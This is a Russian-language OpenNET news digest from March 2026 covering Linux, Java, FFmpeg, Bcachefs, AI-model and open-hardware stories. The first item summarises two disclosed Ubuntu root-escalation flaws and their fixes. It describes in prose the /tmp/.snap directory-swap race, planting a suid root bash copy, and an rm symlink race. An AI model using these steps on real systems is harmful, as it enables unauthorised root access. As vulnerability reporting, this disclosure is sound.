The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

·18.03.2026 Уязвимости в snapd и Rust Сoreutils, позволяющие получить root-привилегии в Ubuntu (18 +3)
  Компания Qualys выявила уязвимость (CVE-2026-3888) в организации работы связки snap-confine и systemd-tmpfiles в Ubuntu, позволяющую непривилегированному пользователю получить root-доступ к системе. Проблема проявляется в Ubuntu в конфигурации по умолчанию начиная с выпуска 24.04. В Ubuntu 16.04-22.04 уязвимость может быть эксплуатирована в нестандартных конфигурациях, имитирующих поведение более новых версий дистрибутива. В Ubuntu исправление доступно во вчерашнем обновлении пакета snapd. В snapd проблема устранена в обновлении 2.75.

Уязвимость возникает из-за некорректного взаимодействия утилит snap-confine и systemd-tmpfiles, выполняемых с повышенными привилегиями. Утилита snap-confine формирует sandbox-окружение для выполнения snap-приложения, а systemd-tmpfiles осуществляет автоматическую очистку временных файлов и каталогов. По умолчанию утилита systemd-tmpfiles настроена на удаление всех старых файлов и каталогов в /tmp, что может использоваться атакующим для подмены каталога /tmp/.snap в момент после его удаления утилитой systemd-tmpfiles, но до пересоздания командой snap-confine.

Атака сводится к ожиданию запуска процесса очистки временных файлов, подмены каталога /tmp/.snap после его удаления и размещения модифицированной копии библиотек /tmp/.snap/usr/lib/x86_64-linux-gnu.exchange. Атакующему может потребоваться несколько дней ожидания запуска systemd-tmpfiles, так как в Ubuntu 24.04 процесс очистки запускается раз в 10 дней, а в более новых выпусках - раз в 30 дней. После подмены каталога атакующий добивается инициализации нового sandbox-окружения при помощи snap-confine.

Во время формирования начинки sandbox-окружения во временном каталоге /tmp/.snap атакующий дожидается нужного момента и переименовывает /tmp/.snap/usr/lib/x86_64-linux-gnu.exchange в /tmp/.snap/usr/lib/x86_64-linux-gnu, подменяя таким образом библиотеки и обеспечивая их bind-монтирование с правами root. Таким образом атакующий получает контроль над разделяемыми библиотеками и загрузчиком ld.so, запускаемыми в sandbox-окружении snap, и может добиться выполнения произвольного кода с правами root через запуск любой suid-программы, в которой применяется динамическое связывание.

Имея root-доступ в sandbox-окружении, изолированном через AppArmor и фильтр системных вызовов на базе seccomp, атакующий может скопировать /bin/bash в каталог /var/snap/$SNAP/common/ и выставить ему права "04755" (suid root). Несмотря на то, что права изменены внутри sandbox-окружения, файл с изменёнными правами доступен и в основной системе, поэтому для получения полного root доступа достаточно запустить /var/snap/<имя_snap_пакета>/common/bash обычным непривилегированным пользователем из штатного системного окружения.


Попутно была выявлена уязвимость в инструментарии uutils coreutils (Rust Coreutils), аналоге пакета GNU Coreutils, написанном на языке Rust. Уязвимость позволяет непривилегированному пользователю получить права root в системе. Проблема выявлена в процессе рецензирования изменений в Ubuntu 25.10 и устранена обходным путём до релиза Ubuntu 25.10 через поставку /usr/bin/gnurm вместо uutils rm. В пакете uutils проблема была устранена в выпуске uutils coreutils 0.3.0, без отметки в списке изменений об устранении уязвимости (было указано, что в rm, du, chmod и chgrp реализован безопасный метод обхода путей).

Проблема вызвана состоянием гонки в утилите "rm", позволяющем локальному пользователю подменить содержимое каталога на символическую ссылку во время удаления подконтрольного пользователю файла процессом "rm" с правами root. Среди прочего уязвимость может быть эксплуатирована при ежедневном запуске из cron скрипта /etc/cron.daily/apport, который запускается с правами root и рекурсивно удаляет содержимое каталога /var/crash, доступного на запись всем пользователям в системе.

При рекурсивном удалении каталогов утилита rm вначале проверяет все каталоги, а затем последовательно удаляет их в обратном порядке, вызывая функцию rmdir(). Если добиться подмены родительского каталога на символическую ссылку сразу после проверки этого каталога, но до проверки вложенных в него дочерних каталогов, операция приведёт к удалению каталога, на который указывает символическая ссылка. Таким образом можно добиться не только удаления любого файла в системе, но и повышения привилегий через удаление каталога /tmp/snap-private-tmp/$SNAP/tmp/.snap для подмены содержимого sandbox-окружения snap-пакета (метод получения root аналогичен первой уязвимости).

  1. OpenNews: Уязвимости в AppArmor, позволяющие получить root-доступ в системе
  2. OpenNews: Уязвимости в PAM и libblockdev, позволяющие получить права root в системе
  3. OpenNews: Уязвимости в apport и systemd-coredump, позволяющие извлечь хэши паролей пользователей системы
  4. OpenNews: Выявлена возможность обхода ограничений доступа к "user namespace" в Ubuntu
  5. OpenNews: Уязвимости в утилите needrestart, позволяющие получить root-доступ в Ubuntu Server
Обсуждение (18 +3) | Тип: Проблемы безопасности |
·18.03.2026 Проект postmarketOS представил Duranium, атомарно обновляемую редакцию для смартфонов (22 +6)
  Разработчики проекта postmarketOS, развивающего дистрибутив Linux для мобильных устройств, объявили о создании атомарно обновляемого варианта дистрибутива. Новая редакция развивается под именем Duranium и примечательна поставкой системы как единого целого, без разделения на отдельные пакеты. Отмечается, что новый вариант соответствует идее, что устройство должно просто работать, без необходимости пользователю знать о существовании терминала и разбираться в особенностях системы.

Системное окружение в разделе /usr монтируется в режиме только для чтения с использованием ФС EROFS и верифицируется при каждой загрузке по цифровой подписи. Раздел /usr имеет размер 5GB. Для контроля целостности данных в разделе /usr применяется dm-verity, а при при выявлении модификации содержимого - загрузка блокируется. Проверочный хэш встраивается в унифицированный образ UKI (Unified Kernel Image), объединяющий обработчик для загрузки ядра из UEFI (UEFI boot stub), образ ядра Linux и загружаемое в память системное окружение initrd, применяемое для начальной инициализации на стадии до монтирования корневой ФС. UKI-образ оформляется в виде одного исполняемого файла в формате PE и вызывается загрузчиком UEFI.

Остальные каталоги, кроме /usr, входят в состав корневого раздела, доступного на запись и сохраняемого между перезапусками и обновлениями. Содержимое корневого раздела обязательно шифруется с использованием LUKS2, что обуславливает повышение требований к оборудованию. Шифрованная корневая ФС создаётся во время первой загрузки или после выполнения сброса к заводским настройкам. По умолчанию создаётся пустой ключ, допускающий автоматическую разблокировку шифрованного раздела. В мастере начальной настройки и в конфигураторе пользователю предлагается установить пароль для расшифровки.

Настройки по умолчанию хранятся в составе системного образа в каталоге /usr/share/factory/etc. Во время первой загрузки в каталоге /etc создаются символические ссылки на все файлы в /usr/share/factory/etc, за исключением файлов passwd, group, shadow, fstab, machine-id и hostname. При необходимости изменения настроек в процессе работы, символическая ссылка заменяется на копию файла.

Обновления устанавливаются через замену всего системного образа. На накопителе создаётся два идентичных корневых раздела - активный и пассивный. Новое обновление устанавливается в пассивный раздел, никак не влияя на работу активного. После верификации корректности установленного обновления и успешной перезагрузки разделы меняются местами - раздел с обновлением становится активным, а прошлый активный раздел переводится в пассивный режим и ожидает установки следующего обновления. Если после обновления возникли проблемы с загрузкой, осуществляется автоматический откат на прошлый вариант системы.

Подобный подход значительно упрощает отладку и диагностику проблем, так как разработчики могут точно воспроизвести состояние, при котором возник сбой, без необходимости воспроизводить состав системы пользователя на уровне отдельных пакетов и учитывать имеющиеся комбинации версий пакетов. Недостатком являются более высокие требования к аппаратному обеспечению, что не позволит использовать Duranium на всех устройствах, поддерживаемых в postmarketOS.

Начинка системного образа Duranium формируется из единой с postmarketOS пакетной базы, основанной на Alpine Linux, стандартной Си-библиотеке Musl и наборе утилит BusyBox. Релизы postmarketOS и Duranium получаются почти идентичны по составу, но отличаются разными методами поставки системы. Для формирования, установки и обновления системных образов задействованы компоненты systemd-sysupdate, systemd-repart и systemd-verity-setup.

Дополнительные приложения устанавливаются в формате Flatpak или с использованием пакетного менеджера Coldbrew. Coldbrew позволяет установить пакеты из репозиториев Alpine Linux в домашний каталог пользователя. При запуске подобные пакеты изолируются при помощи инструментария bubblewrap.

  1. OpenNews: Выпуск Phosh 0.53.0, GNOME-окружения для смартфонов
  2. OpenNews: Опубликован postmarketOS 25.12, Linux-дистрибутив для смартфонов и мобильных устройств
  3. OpenNews: Marathon OS - мобильная ОС в стиле BlackBerry 10 на базе Linux, Qt и Wayland
  4. OpenNews: Доступна мобильная платформа KDE Plasma Mobile 6.5
Обсуждение (22 +6) | Тип: Программы | Интересно
·18.03.2026 Проект Arch Linux 32 заблокировал доступ из Бразилии из-за закона о верификации возраста (140 +7)
  Разработчики проекта Arch Linux 32, развивающего ответвление от Arch Linux, продолжающее поддержку 32-разрядных систем, заблокировали доступ из Бразилии из-за опасения получения штрафов за нарушение закона о проверке возраста. Отмечается, что у развиваемого энтузиастами проекта нет необходимой инфраструктуры и финансовых ресурсов для выполнения требований вступившего в силу закона, поэтому они решили применить блокировку бразильских подсетей, чтобы избежать риска закрытия проекта в случае получения штрафа.

При попытке обращения к сайту проекта, форумам, загрузкам и wiki из бразильских подсетей теперь выводится страница о блокировке доступа. Также упоминается о возможной недостижимости pacman-репозиториев проекта из бразильских подсетей. Проект Arch Linux 32 не связан с Arch Linux и развивается отдельным сообществом как независимый форк, основанный в 2017 году после прекращения поддержки 32-разрядных систем x86 в Arch Linux.

Примечание о запрете использования продукта на территории Бразилии также добавлено проектом MidnightBSD. На странице загрузки указано, что начиная с 17 марта 2026 года гражданам Бразилии не разрешается использовать MidnightBSD из-за вступления в силу закона о верификации возраста. Указано, что разработчики не станут пытаться соответствовать требованиям данного закона, так как MidnightBSD не является коммерческой компанией и не имеет средств для оплаты сервисов верификации.

17 марта в Бразилии вступил в силу закон 15.211/2025 "Digital ECA", вводящий систему контроля доступа несовершеннолетних к цифровому контенту. В отличие от похожего закона, принятого в Калифорнии, бразильский вариант отличается более значительными штрафами и жёсткими требованиями. Закон предусматривает штрафы в размере до 10 процентов от годовой выручки или от 10 до 1000 реалов (2-200 долларов) за каждого зарегистрированного пользователя при отсутствии выручки, но в сумме не больше 50 миллионов реалов (13 млн долларов).

Закон требует от производителей операционных систем и магазинов приложений строгой проверки возраста, не ограничивающейся голословным согласием пользователя, что ему больше 18 лет. Для подтверждения требуется внедрение "эффективных и надёжных" методов верификации, таких как проверка документов или прохождение аутентификации в уполномоченных сервисах. Операционная система должна предоставить приложениям API для получения данных о возрасте, а также поддерживать инструменты родительского контроля, позволяющие отслеживать экранное время и ограничивать доступ к контенту только для взрослых.

При этом из сферы действия закона выведена "базовая функциональность, необходимая для работы интернета, включая открытые и универсальные технические протоколы и стандарты". Также отмечается, что операционная система с точки зрения закона выполняет вспомогательную роль, а основная ответственность ложится на приложения, которые при необходимости должны внедрять собственные механизмы для предотвращения несанкционированного доступа несовершеннолетних.

  1. OpenNews: Создан дистрибутив Ageless Linux для противодействия законам о проверке возраста
  2. OpenNews: В Калифорнии утверждён законопроект об интеграции в ОС API для проверки возраста
Обсуждение (140 +7) | Тип: К сведению |
·17.03.2026 Выпуск Java SE 26 и OpenJDK 26. Проект по интеграции поддержки JavaScript и Python в JVM (51 +9)
  После шести месяцев разработки компания Oracle опубликовала платформу Java SE 26 (Java Platform, Standard Edition 26), в качестве эталонной реализации которой используется открытый проект OpenJDK. За исключением удаления некоторых устаревших возможностей в Java SE 26 сохранена обратная совместимость с прошлыми выпусками платформы Java - большинство ранее написанных Java-проектов без изменений будут работоспособны при запуске под управлением новой версии. Готовые для установки сборки Java SE 26 (JDK, JRE и Server JRE) подготовлены для Linux (x86_64, AArch64), Windows (x86_64) и macOS (x86_64, AArch64). Разработанная в рамках проекта OpenJDK эталонная реализация Java SE 26 полностью открыта под лицензией GPLv2 с исключениями GNU ClassPath, разрешающими динамическое связывание с коммерческими продуктами.

Java SE 26 отнесён к категории выпусков с обычным сроком поддержки, обновления для которого будут выпускаться до следующего релиза. В качестве ветки с длительным сроком поддержки (LTS) следует использовать Java SE 25, Java SE 21 или Java SE 17, обновления для которых будут выпускаться до 2033, 2031 и 2029 годов соответственно (общедоступные - до сентября 2030, 2028 и 2026 годов). Расширенная поддержка LTS-ветки Java SE 8 продлится до 2030 года, а Java SE 11 - до 2032 года.

Среди изменений в Java SE 26 (1, 2, 3, 4):

  • Реализован вывод предупреждения при использовании глубокой рефлексии для изменения полей, помеченных ключевым словом "final". В будущем планируется отключить по умолчанию небезопасные возможности языка и, среди прочего, сделать поля, помеченные как final, полностью не изменяемые, убрав обходной путь для их изменения через глубокую рефлексию (API Reflection).
  • Удалён API Applet (java.applet.Applet*, javax.swing.JApplet), применявшийся для запуска Java-приложений в браузере. Данный API потерял актуальность после прекращения поддержка Java-плагина для браузеров и был объявлен устаревшим в 2021 году.
  • Реализована возможность использования предварительно формируемого кэша (AOT - ahead-of-time) c любыми сборщиками мусора, включая ZGC (Z Garbage Collector). Изменение подразумевает поддержку последовательной загрузки прокэшированных Java-объектов в память, используя универсальный и не зависящий от сборщиков мусора формат вместо прямого маппинга в память специфичных представлений кэша. Использование AOT-кэша сокращает время запуска и ускоряет актуализацию (warmup) виртуальной машины HotSpot.
  • В API HTTP Client добавлена поддержка протокола HTTP/3, позволяющая приложениям и библиотекам обращаться к серверам по HTTP/3 после минимальных изменений кода.
  • Повышена производительность сборщика мусора G1, благодаря сокращению блокировок для синхронизации потоков приложения с потоками сборщика мусора.
  • Предложен второй предварительный вариант API для кодирования и декодирования объектов с криптографическими ключами, сертификатами и списками отозванных сертификатов, используя формат PEM (Pivacy-Enhanced Mail).
  • Предложен для тестирования шестой предварительный вариант API для cтруктурированного параллелизма (Structured Concurrency), упрощающего разработку многопоточных приложений за счёт обработки нескольких задач, выполняемых в разных потоках, как единого блока.
  • Добавлен вторая предварительная редакция API Lazy Constants для работы с объектами, содержащими неизменяемые данные и обрабатываемыми в JVM как константы. К подобным объектам применяются оптимизации производительности, аналогичные полям с ключевым словом "final". В отличие от "final" новый API разделяет создание постоянных значений и их инициализацию, гарантирует, что значение может быть инициализировано только один раз, сокращает время запуска программ и позволяет применять в пользовательском коде оптимизации сворачивания констант (constant-folding), ранее использовавшиеся только во внутреннем коде JDK.
    
       class Application {
           // Было:
           // static final UserService USERS = new UserService();
           // Теперь можно:
           static final StableValue<UserService> USERS = StableValue.of();
    
           public static UserService users() {
              return USERS.orElseSet(UserService::new);
           }
        }
    
  • В механизме сопоставления с образцом предложен четвёртый предварительный вариант возможности использования примитивных типов (int, byte, char и другие базовые типы, не являющиеся объектами) во всех видах шаблонов, в операторе "instanceof" и в блоках "switch".
    
       switch (x.getStatus()) {
           case 0 -> "okay";
           case 1 -> "warning";
           case 2 -> "error";
           case int i -> "unknown status: " + i;
       }
       if (i instanceof byte b) {
        ... b ...
       }
    
  • Предложена одиннадцатая тестовая реализация API Vector, предоставляющего функции для векторных вычислений, которые выполняются с использованием векторных инструкций процессоров x86_64 и AArch64 и позволяют одновременно применить операции сразу к нескольким значениям (SIMD). В отличие от предоставляемых в JIT-компиляторе HotSpot возможностей по автовекторизации скалярных операций, новый API даёт возможность явно управлять векторизацией для параллельной обработки данных.

Кроме того, компания Oracle анонсировала проект Detroit, который будет развиваться в составе OpenJDK и нацелен на улучшение переносимости между Java, JavaScript и Python. В рамках проекта намерены предоставить возможность встраивания в процесс JVM runtime с JavaScript-движком V8 и интерпретатором CPython. Ранее компания Oracle уже развивала JavaScript-движок Nashorn, работающий поверх виртуальной машины JVM, но свернула проект из-за проблематичности разрабатывать отдельную реализацию JavaScript в условиях, когда основная экосистема завязана на движке V8.

Дополнительно можно отметить публикацию обновления платформы для создания приложений с графическим интерфейсом JavaFX 26. В ближайшие часы также ожидается выпуск универсальной виртуальной машины GraalVM 26, поддерживающей запуск приложений на JavaScript (Node.js), Python, Ruby, R, любых языках для JVM (Java, Scala, Clojure, Kotlin) и языках, для которых может формироваться биткод LLVM (C, C++, Rust).

  1. OpenNews: Выпуск Java SE 25 LTS и OpenJDK 25
  2. OpenNews: Доступна платформа Jakarta EE 11, продолжающая развитие Java EE
  3. OpenNews: Выпуск Java SE 24 и OpenJDK 24
  4. OpenNews: Выпуск Java SE 23 и OpenJDK 23
Обсуждение (51 +9) | Тип: Программы |
·17.03.2026 Facebook возобновил разработку библиотеки управления памятью jemalloc (50 +25)
  Компания Meta* объявила о возобновлении разработки библиотеки управления памятью jemalloc, репозиторий которой в июне прошлого года был переведён в архивный режим. Библиотека jemalloc предлагает альтернативную реализацию функций malloc, оптимизированную для снижения фрагментации и работы на многопроцессорных системах.

Отмечается, что компания Meta осознала преимущества от применения jemalloc в своей инфраструктуре и решила возобновить работу над кодом данной библиотеки для снижения издержек на сопровождение, модернизации кодовой базы, избавления от технического долга и адаптации аллокатора для новых видов нагрузки и актуального оборудования. Разработка будет продолжена в форме открытого проекта, развиваемого совместно с сообществом и приветствующего подключение к работе сторонних участников.

Библиотека jemalloc была разработана Джейсоном Эвансом (Jason Evans) в 2005 году для FreeBSD 7.0, после чего была портирована в NetBSD и интегрирована в состав Firefox. В 2009 году автор jemalloc перешёл на работу в компанию Facebook, в которой данная библиотека использовалась во внутренних проектах. В 2017 году Джейсон уволился из Facebook, а разработка была продолжена оставшейся командой из Facebook. После переименования в Meta приоритеты компании изменились, развитие библиотеки застопорилось, разработка сосредоточилась только на внутренних потребностях, а общедоступная кодовая база со временем деградировала. Для поддержания общедоступной библиотеки на плаву требовался значительный рефакторинг, но Джейсон не готов был тратить своё время на эту работу и поэтому 10 месяцев назад перевёл репозиторий в архивный режим.

Среди планов, которые компания Facebook наметила реализовать после возрождения проекта:

  • Снижение накопленного технического долга, проведение рефакторинга и чистки кодовой базы, усовершенствование библиотеки для сохранения эффективности, надёжности и простоты использования.
  • Продолжение развития аллокатора HPA (Huge-Page Allocator) для оптимизации потребления ресурсов CPU за счёт более оптимального использования больших страниц памяти (transparent hugepage).
  • Внесение изменений для повышения эффективности работы с памятью, связанных с улучшением упаковки структур, кэширования и очистки освобождённых блоков памяти.
  • Добавление оптимизаций для архитектуры AArch64 (ARM64).

  1. OpenNews: Прекращена разработка библиотеки управления памятью jemalloc
  2. OpenNews: Google опубликовал новый вариант системы распределения памяти TCMalloc
  3. OpenNews: Miсrosoft открыл код системы распределения памяти mimalloc
  4. OpenNews: Менеджер распределения памяти jemalloc выпущен в виде отдельной библиотеки
Обсуждение (50 +25) | Тип: К сведению |
·17.03.2026 Mistral опубликовал Leanstral, AI-модель для вайб-кодинга с формальной верификацией (104 –13)
  Компания Mistral AI представила большую языковую модель Leanstral, нацеленную на использование для разработки приложений (вайб-кодинга) и оптимизированную для формальной верификации кода. Предполагается, что Leanstral может применяться для создания AI-ассистентов, позволяющих не просто генерировать код, но и гарантировать отсутствие в нём ошибок.

Leanstral стала первой открытой моделью, поддерживающей язык программирования Lean 4 и связанный с ним инструментарий для проверки математических доказательств. Lean 4 предоставляет возможности для математического доказательства корректности кода и его соответствия спецификации, что в контексте вайб-кодинга позволяет подтвердить, что сгенерированный AI-моделью код делает именно то, что задумано.

Модель охватывает 119 миллиардов параметров (6.5 млрд активируемых параметров на токен), учитывает контекст в 256 тысяч токенов и опубликована под лицензией Apache 2.0. Загружаемый архив с Leanstral занимает 121 ГБ и пригоден для использования на локальных системах. Для локального запуска могут применяться библиотеки vllm, transformers и SGLang.

Среди прочего модель может применяться для вайб-разработки в открытом агенте mistral-vibe, а также интегрироваться с инструментарием Aeneas для верификации кода на языке Rust. В качестве входных параметров принимается текст и изображения, на выходе выдаётся только текст. Поддерживается анализ содержимого изображений.

Для оценки возможностей AI-моделей с учётом качества проведения формальной верификации кода и написания математических доказательств разработан новый набор тестов FLTEval. В проведённых тестах модель Leanstral ощутимо обогнала существующие открытые модели Qwen3.5 397B-A17B, Kimi-K2.5 1T-A32B и GLM5 744B-A40B, показала сходные результаты с моделями Claude Haiku 4.5 и Claude Sonnet 4.6 от компании Anthropic, но отстала от модели Claude Opus 4.6. В частности, модель Opus набрала 39.6 баллов, а Leanstral - 21.9 при одном проходе и 31.9 при 16 проходах. При этом затраты при использовании Opus составили 1650 долларов, а Leanstral - $18 при одном проходе и $290 при 16 проходах. Модель Haiku набрала 23 балла при затратах $184, а модель Sonnet - 23.7 при затратах $549.

  1. OpenNews: Mistral AI опубликовал Devstral, большую языковую модель для работы с кодом
  2. OpenNews: Организация OSI выработала критерии открытости AI-систем
  3. OpenNews: Оценка влияния вайб-кодинга на экосистему открытого ПО
  4. OpenNews: Переписывание кода при помощи AI для перелицензирования открытых проектов
  5. OpenNews: Компания SUSE открыла AI-модель для анализа лицензионной чистоты кода
Обсуждение (104 –13) | Тип: К сведению |
·17.03.2026 Доступен FFmpeg 8.1 с поддержкой JPEG XS, новыми возможностями для 3D-звука и ускорения через Vulkan (45 +26)
  После семи месяцев разработки опубликован мультимедиа-пакет FFmpeg 8.1, включающий набор приложений и коллекцию библиотек для операций над различными мультимедиа-форматами (запись, преобразование и декодирование звуковых и видеоформатов). Пакет написан на языке Си и распространяется под лицензиями LGPL и GPL.

Среди изменений в FFmpeg 8.1:

  • Добавлены парсер, кодировщик и декодировщик, а также упаковщик и распаковщик мультимедийных контейнеров (muxer/demuxer), для формата изображений JPEG XS, который позиционируется как легковесная система кодирования изображений, обеспечивающая минимальные задержки при кодировании и декодировании, и ориентированная на оптимизацию передачи последовательностей изображений очень высокого качества (до 8K). JPEG XS позволяет существенно снизить необходимую пропускную способность канала связи без заметных для человеческого глаза потерь качества. Реализация основана на библиотеке libsvtjpegxs.
  • Добавлен экспериментальный декодировщик для формата кодирования звука xHE-AAC (High-Efficiency Advanced Audio Coding) со схемой объёмного звука Mps212 (MPEG Surround с раскладкой каналов 212). xHE-AAC используется в потоковом вещании Netflix и задействован в технологиях цифрового радиовещания Digital Radio Mondiale. Кодек примечателен поддержкой широкого диапазона битрейта (от 12 до 300 kbit/s), высокой степенью сжатия, средствами воспроизведения с постоянной громкостью, обеспечением высокой чёткости при любых уровнях громкости, дополнительными профилями управления динамическим диапазоном при прослушивании в шумных местах и добавлением метаданных, позволяющих восстанавливать потери на принимающей стороне.
  • На базе библиотеки libmpeghdec реализован декодировщик для интерактивного и объёмного звука в формате NGA (Next Generation Audio), определённого в стандарте кодирования звука и видео MPEG-H.
  • Добавлена поддержка упаковки и распаковки пространственного звука в формате IAMF (Immersive Audio Model and Formats) с объёмным звучанием в режиме Ambisonics, учитывающем распространение звука не только в горизонтальной плоскости, но и в вертикальной (для определения сверху или снизу источник звука).
  • Добавлена поддержка разбора и перенаправления метаданных в формате LCEVC (Low Complexity Enhancement Video Coding), реализующем дополнительный слой с метаданными поверх штатных кодеков для улучшения качества видео. Добавлена поддержка экспорта слоёв улучшения качества LCEVC в мультимедийные контейнеры MPEG-TS (MPEG Transport Stream).
  • На базе графического API Vulkan реализованы кодировщик и декодировщик для кодека Apple ProRes, а также декодировщик для применяемого в кинопроизводстве формата раздельной передачи кадров DPX (Digital Picture Exchange). Реализации на базе API Vulkan примечательны значительным повышением производительности за счёт аппаратного ускорения, распараллеливания операций и задействования вычислительных шейдеров. Проведена оптимизация реализаций кодеков на основе API Vulkan. Для ускорения инициализации кодеков реализована возможность использование уже скомпилированных шейдеров GLSL, без необходимости их компиляции во время работы.
  • В библиотеке swscale (Software Scaler), применяемой в FFmpeg для программного масштабирования и преобразования цветов, реализован бэкенд, использующий для ускорения выполнения операций графический API Vulkan.
  • Добавлены варианты кодировщиков форматов H.264 и AV1, использующие API D3D12 (Direct3D 12) для аппаратного ускорения кодирования.
  • Добавлен вариант кодировщика формата H.264/HEVC, использующий доступные в чипах Rockchip средства аппаратного кодирования видео.
  • Добавлены распаковщики (demuxer) мультимедийных контейнеров в форматах HXVS и HXVT, применяемых в IP-камерах.
  • Реализован парсер для метаданных в формате EXIF и сопутствующий API для разбора метаданных.
  • В утилиту ffprobe добавлена опция "-codec" ("-c") для выбора определённой реализации декодировщика.
  • В утилиту ffmpeg добавлена поддержка мозаичного режима (tiled) хранения изображений в формате HEIF (когда очень большое изображение сохраняется в форме набора из более мелких изображений).
  • Удалён старый обработчик протокола HLS.
  • Новые фильтры:
    • drawvg для вывода векторной графики поверх видеокадров, используя библиотеку libcairo.
    • vpp_amf для изменения размера видео и преобразования цветового пространства, используя AMD Advanced Media Framework для аппаратного ускорения.
    • vf_scale_d3d12, vf_deinterlace_d3d12, vf_mestimate_d3d12 для масштабирования, деинтерлейсинга и анализа движения на видео, используя для аппаратного ускорения графический API Direct3D 12.
    • gfxcapture для захвата содержимого окон и экрана на платформе Windows при помощи API Windows.Graphics.Capture.
    • Добавлен bitstream-фильтр для метаданных LCEVC.

  1. OpenNews: Выпуск мультимедиа-пакета FFmpeg 8.0
  2. OpenNews: GitHub заблокировал репозиторий Rockchip после жалобы о перелицензировании кода FFmpeg
  3. OpenNews: Разработчики FFmpeg раскритиковали AMD за раздутые патчи
  4. OpenNews: Проект FFmpeg переходит на платформу совместной разработки Forgejo
  5. OpenNews: Проект FFMpeg представил собственную реализацию декодировщика xHE-AAC
Обсуждение (45 +26) | Тип: Программы |
·16.03.2026 Выпуск файловой системы Bcachefs 1.37.0 (101 +13)
  Кент Оверстрит (Kent Overstreet) опубликовал выпуск файловой системы Bcachefs 1.37.0. Выпуск охватывает два пакета: bcachefs-kernel-dkms с модулем ядра, собираемым при помощи системы DKMS (Dynamic Kernel Module Support), и bcachefs-tools с запускаемой в пространстве пользователя утилитой bcachefs, реализующей команды для создания (mkfs), монтирования, восстановления и проверки ФС. Пакеты собраны для Arch Linux и ожидаются для Debian, Ubuntu, Fedora, openSUSE и NixOS. DKMS-модуль поддерживает работу с ядрами Linux, начиная с 6.16.

В новой версии:

  • Стабилизирована и объявлена готовой к повсеместному использованию поддержка кодов коррекции ошибок, позволяющих восстанавливать повреждённые данные по аналогии с RAID 5/6. Реализация основана на кодировании Рида-Соломона, способном исправить до N ошибок в страйпе (stripe) при наличии N избыточных блоков. Обеспечено автоматическое восстановление деградировавших страйпов. Добавлена возможность применения кодов восстановления в конфигурациях с накопителями разного размера.
  • Добавлена поддержка находящегося в разработке ядра Linux 7.0.
  • Реализованы новые команды "subvolume list" для вывода подразделов с фильтрацией и сортировкой; "subvolume list-snapshots" для показа снапшотов в древовидной форме'; "subvolume reflink-option-propagate" для применения параметров ввода-вывода файла, таких как сжатие, контрольная сумма, количество реплик и список целевых устройств, к экстентам файла.
  • Стабилизирована операция раскрутки (rewind) журнала.
  • Обеспечено автоматическое восстановление при использовании устройств с некорректной поддержкой команд для сброса прокэшированных операций записи на накопитель (flush и FUA).
  • Ускорено восстановление после некорректного завершения работы.
  • Повышена производительность ФС, охватывающих несколько устройств.
  • Запускаемые в пространстве пользователя утилиты bcachefs переписаны на языке Rust. В будущем планируется переписать на Rust и компоненты ФС, работающие на уровне ядра. Началась работа по использованию инструментария Verus для формальной верификации кода на Rust.

Проектом Bcachefs развивается файловая система, нацеленная на сочетание расширенной функциональности, свойственной Btrfs и ZFS, и уровня производительности, надёжности и масштабируемости, характерного для XFS. Bcachefs поддерживает такие возможности, как включение в раздел нескольких устройств, многослойные раскладки накопителей (нижний слой с часто используемыми данными на базе быстрых SSD, а верхний слой с менее востребованными данными из жестких дисков), репликация (RAID 1/10), кэширование, прозрачное сжатие данных (режимы LZ4, gzip и ZSTD), срезы состояния (снапшоты), верификация целостности по контрольным суммам, коды коррекции ошибок, хранение информации в зашифрованном виде (используются ChaCha20 и Poly1305).

  1. OpenNews: Разработчик ФС Bcachefs запустил AI-бота, ведущего блог и помогающего в разработке
  2. OpenNews: Выпуск файловой системы Bcachefs 1.33.0
  3. OpenNews: Код Bcachefs удалён из ядра Linux. Для дистрибутивов подготовлены DKMS-модули c Bcachefs
  4. OpenNews: Bcachefs будет распространяться в виде отдельного модуля DKMS
  5. OpenNews: Заморозка изменений дискового формата в Bcachefs
Обсуждение (101 +13) | Тип: Программы |
·16.03.2026 Открытый радар AERIS-10, способный отслеживать объекты на расстоянии до 20 км (141 +31)
  Проект AERIS-10 разработал полностью открытую модульную радиолокационную станцию (радар), которую можно использовать в качестве платформы для проведения экспериментов c фазированными антенными решётками, сжатием импульсов, доплеровской обработкой сигналов и отслеживанием целей. Полные схемы, распайки печатных плат, списки комплектующих (BOM), Gerber-файлы для изготовления плат, макеты для 3D-печати и описания аппаратных блоков на языках Verilog/VHDL распространяются под лицензией CERN-OHL-P (CERN Open Hardware Licence). Код прошивки для микроконтроллера STM32, вспомогательные утилиты на Си и графический интерфейс на Python поставляются под лицензией MIT.

Подготовлено два варианта радиолокационной станции на фазированных антенных решётках - AERIS-10N (Nexus) и AERIS-10E (Extended). Оба варианта используют частоту 10.5 ГГц и используют импульсную линейную частотную модуляцию (LFM). Отличия сводятся к мощности излучения (1Wx16 и 10Wx16), а также использованию массива плоскостных антенн 8x16 и массива щелевых излучателей в диэлектрически заполненном волноводе 32x16, обеспечивающих дальность действия до 3 км и 20 км, соответственно.

Система модульная с раздельными платами управления питанием, генерации частот и RF-блоками. Для обработки сигналов, сжатия импульсов, вычисления скорости объекта при помощи доплеровского быстрого преобразования Фурье, исключения неподвижных объектов (MTI) и обеспечения постоянного уровня ложных тревог (CFAR) задействован FPGA XC7A100T. Управление работой и настройка периферийных устройств осуществляется при помощи микроконтроллера STM32F746xx.

Корректировка положения и ориентации в режиме реального времени обеспечивается при помощи GPS и инерциальных датчиков (акселерометр, гироскоп). Реализовано электронное управление сканирующим лучом в пределах ±45° по высоте и азимуту. Вращение антенны на 360° обеспечивает шаговый двигатель. Возможно одновременное отслеживание движения нескольких объектов. Для управления радаром, наглядного отслеживания движущихся объектов и их сопоставления с картой реализован графический интерфейс.

Сборка радара осуществляется из типовых элементов, имеющихся в широкой продаже. Затраты на чипы и компоненты для изготовления радара в простейшей конфигурации оцениваются приблизительно в 5000 долларов. Для сравнения: стоимость коммерческих радаров того же класса начинается с 250 тысяч долларов.



  1. OpenNews: Facebook разработал открытую PCIe-карту с атомными часами
  2. OpenNews: Доступен открытый Wi-Fi стек OpenWifi 1.4
  3. OpenNews: Доступен Vortex 2.2, открытый GPGPU на базе архитектуры RISC-V
  4. OpenNews: Программно-аппаратная платформа CHERIoT 1.0 для повышения безопасности кода на языке Си
  5. OpenNews: Микроядро Xous и открытый чип Baochip-1x для создания безопасных встраиваемых систем
Обсуждение (141 +31) | Тип: К сведению |
·15.03.2026 Выпуск River 0.4.0 с разделением композитного и оконного менеджеров (60 +18)
